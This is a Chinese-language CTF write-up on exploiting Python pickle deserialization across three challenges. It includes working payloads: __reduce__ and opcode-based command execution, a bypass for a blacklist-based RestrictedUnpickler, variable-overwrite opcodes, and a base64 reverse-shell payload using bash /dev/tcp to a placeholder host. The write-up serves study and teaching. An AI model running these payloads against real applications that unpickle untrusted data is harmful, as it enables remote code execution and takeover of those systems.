title: 通过几道题目了解pickle反序列化 - CTF - pickle反序列化
- python
0x00:前言
通过几道题了解pickle反序列化
0x01: [CISCN2019 华北赛区 Day1 Web2]ikun
最简单的__reduce__, (忽略别的一些知识点,只看pickle反序列化这部分.)
关键代码:
class AdminHandler(BaseHandler):
# ... ...
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
# ... ...
payload:
import pickle
import urllib
class genpoc(object):
def __reduce__(self):
cmd = 'cat /flag.txt' # 要执行的命令
s = "__import__('os').popen('{}').read()".format(cmd)
return (eval, (s,)) # reduce函数必须返回元组或字符串
poc = pickle.dumps(genpoc())
print(urllib.quote(poc)) # 此时,如果 pickle.loads(poc),就会执行命令
参考
https://blog.csdn.net/xiayu729100940/article/details/105202964
这篇文章给出了几个payload.
0x02:xctf高校战疫网络安全分享赛:webtmp
简要分析
题目给出了source.py,代码就不贴了.
从路由部分开始看:
@app.route('/', methods=['GET', 'POST'])
def index():
# ... 省略无关路由
if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data): # 不能包含R字符
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = restricted_loads(base64.b64decode(pickle_data)) # 被反序列化
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal(secret.name, secret.category)) # 对比是否一致
return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
except Exception as e:
print(repr(e))
return "Something wrong"
sample_obj = Animal('一给我哩giaogiao', 'Giao')
pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)
可以看到ban掉了R, 且满足
type(result)==Animal和result == Animal(secret.name, secret.category)就给flag.
但是并不知道secret.name和secret.category这两个变量,所以无法通过正常逻辑得到flag.
然后注意到result = restricted_loads(base64.b64decode(pickle_data))
这行代码存在pickle反序列化. 跟踪一下restricted_loads这个函数,
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
发现进行pickle反序列化的时候只允许__main__模块
然后再看一下Animal类
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category
def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'
def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
对__eq__和__repr__进行了重写.
然后思考如何通过反序列化获得flag.
- 直接获得secret里面的两个变量 / 覆盖掉它们
- RCE获得flag.
- 读取文件获得secret.py (因为没回显所以就不考虑了)
下面考虑1和2的可能性
变量覆盖
__main__
对第一点需要知道怎么找到secret这个变量.
# -*- coding: utf-8 -*-
import __main__
import secret
name='lonmar'
if __name__ == '__main__':
print(__main__.__dict__)
运行上面的代码发现有secret这个模块.
然后可以发现可以通过__main__找到secret里面的变量.
并且可以做出修改
secret.py
secret="this_is_the_secret_in_secret.py"
# -*- coding: utf-8 -*-
import __main__
import secret
name='lonmar'
if __name__ == '__main__':
__main__.__dict__['secret'].__dict__['secret'] = "testestestestestest"
print(secret.secret)
'''
testestestestestest
[Finished in 0.1s]
'''
所以可以利用pickle反序列化进行变量的覆盖.
opcode
然后开始编写opcode.(因为ban掉了R)
opcode编写参考 https://xz.aliyun.com/t/7436
全部的opcode指令可以从 https://www.anquanke.com/post/id/188981找到.
这里引用几点tips
- c操作符会尝试import库,所以在pickle.loads时不需要漏洞代码中先引入系统库。
- pickle不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如getattr、dict.get)才能进行。但是因为存在s、u、b操作符,作为右值是可以的。即“查值不行,赋值可以”。pickle能够索引查值的操作只有c、i。而如何查值也是CTF的一个重要考点。
- s、u、b操作符可以构造并赋值原来没有的属性、键值对。
找到secret.name和secret.category并通过b操作符赋值:
'''c__main__
secret
(S'name'
S"1"
S"category"
S"2"
db.'''
0: c GLOBAL '__main__ secret'
17: ( MARK
18: S STRING 'name'
26: S STRING '1'
31: S STRING 'category'
43: S STRING '2'
48: d DICT (MARK at 17)
49: b BUILD
50: . STOP
c先引入__main__.sercret,在栈中第一个元素位置.
(压入mark.
S依次压入name,1,category,2
d组成字典{'name':'1',category':2},且mark,name,1,category,2出栈,字典入栈.
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 . 在这里就是操作secret.name和secret.category.(栈上第一个元素出栈
然后构造需要传入的animal对象:
'''(c__main__
Animal
S"1"
S"2"
o.
'''
然后两个拼接即可. 因为要将Animal对象返回,所以赋值留下的一个元素需要pop掉(0)
import base64
data=b'''c__main__
secret
(S'name'
S"1"
S"category"
S"2"
db0(c__main__
Animal
S"1"
S"2"
o.
'''
print(base64.b64encode(data))
#b'Y19fbWFpbl9fCnNlY3JldAooUyduYW1lJwpTIjEiClMiY2F0ZWdvcnkiClMiMiIKZGIwKGNfX21haW5fXwpBbmltYWwKUyIxIgpTIjIiCm8uCg=='
tips : 也可以直接获取变量值,只不过opcode可能比较难写. 因为本道题限制了__main__模块
未限制__main__
参考 https://zhuanlan.zhihu.com/p/89132768 0x07全局变量包含:c指令码的妙用
RCE
题目过滤了R,还可以用i和o进行RCE,这点比较容易绕过.
但是只允许__main__模块加载,这个就无法绕过了2333
所以RCE是失败的.但是换个思路,如果题目ban了__main__,堵住了变量覆盖这条路,就可以RCE
修改代码,尝试ban掉R后的RCE.
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
return getattr(sys.modules[module], name)
RCE demo:
R:
b'''cos
system
(S'whoami'
tR.'''
i
b'''(S'whoami'
ios
system
.'''
o
b'''(cos
system
S'whoami'
o.'''
另外,这篇文章里面https://zhuanlan.zhihu.com/p/89132768
还给出了一种从源码角度分析得到的ban掉R后的RCE方法,简述:
先为对象加上一个__setstate__ 属性:{'__setstate__': os.system}
然后再用一个字符串(cmd)build这个对象.原理就不赘述了,在文章里都有(只是没看懂build 字符串是什么操作)
payload:
payload = b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb.'
payload = b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb0c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.'
反弹shell:
import base64
data=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/xxx.xxx.xx.xxx/7777 0>&1"'
o.'''
print(base64.b64encode(data))
0x03:Code-Breaking:picklecode
分析
由于Django很不熟悉,所以就直接看着P牛文章分析了.
https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html
这道题目首先要关注的点就是配置文件,下面的配置文件很异常
可以配合模板注入得到secret_key,然后伪造session,再精心构造opcode,绕过反序列化沙箱达到RCE目的.
下面主要看一下绕过反序列化沙箱部分,沙箱如下
import pickle
import io
import builtins
# ....
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
# ....
上面也是python官方给出的一种沙箱写法,但是find_class只会检查第一层的module.
可以通过getattr配合已经导入的builtins类绕过:
builtins.getattr('builtins', 'eval')
opcode:
'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("id")'
tR.'''
使用pker编写opcode
像上面的opcode写起来很费劲,有师傅写了更方便的opcode生成工具
项目地址 https://github.com/eddieivan01/pker
getattr=GLOBAL('builtins','getattr')
dict=GLOBAL('builtins','dict')
dict_get=getattr(dict,'get')
glo_dic=GLOBAL('builtins','globals')()
builtins=dict_get(glo_dic,'builtins')
eval=getattr(builtins,'eval')
eval('print("123")')
return
使用参考 https://xz.aliyun.com/t/7436#toc-13
0x04:Reference
1.pickle反序列化初探
(比较详细的一篇文章)
文章链接:https://xz.aliyun.com/t/7436
2.从零开始python反序列化攻击 pickle原理解析 & 不用reduce的RCE姿势
(很深入的一篇文章)
文章链接:
https://zhuanlan.zhihu.com/p/89132768
3.Python反序列化漏洞的花式利用
(还有一些姿势没有研究)
文章链接:
http://www.bendawang.site/2018/04/18/Python%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E7%9A%84%E8%8A%B1%E5%BC%8F%E5%88%A9%E7%94%A8/
4.Python Pickle的任意代码执行漏洞实践和Payload构造
文章链接:
https://zhuanlan.zhihu.com/p/25981037bit4@勾陈安全实验室
5.https://www.anquanke.com/post/id/188981
(内含完整pickle v0指令)
6.Python pickle 反序列化实例分析
文章链接:
https://www.anquanke.com/post/id/188981
7.https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html
(P牛opcode编写过程)
本文暂时没有评论,来添加一个吧(●'◡'●)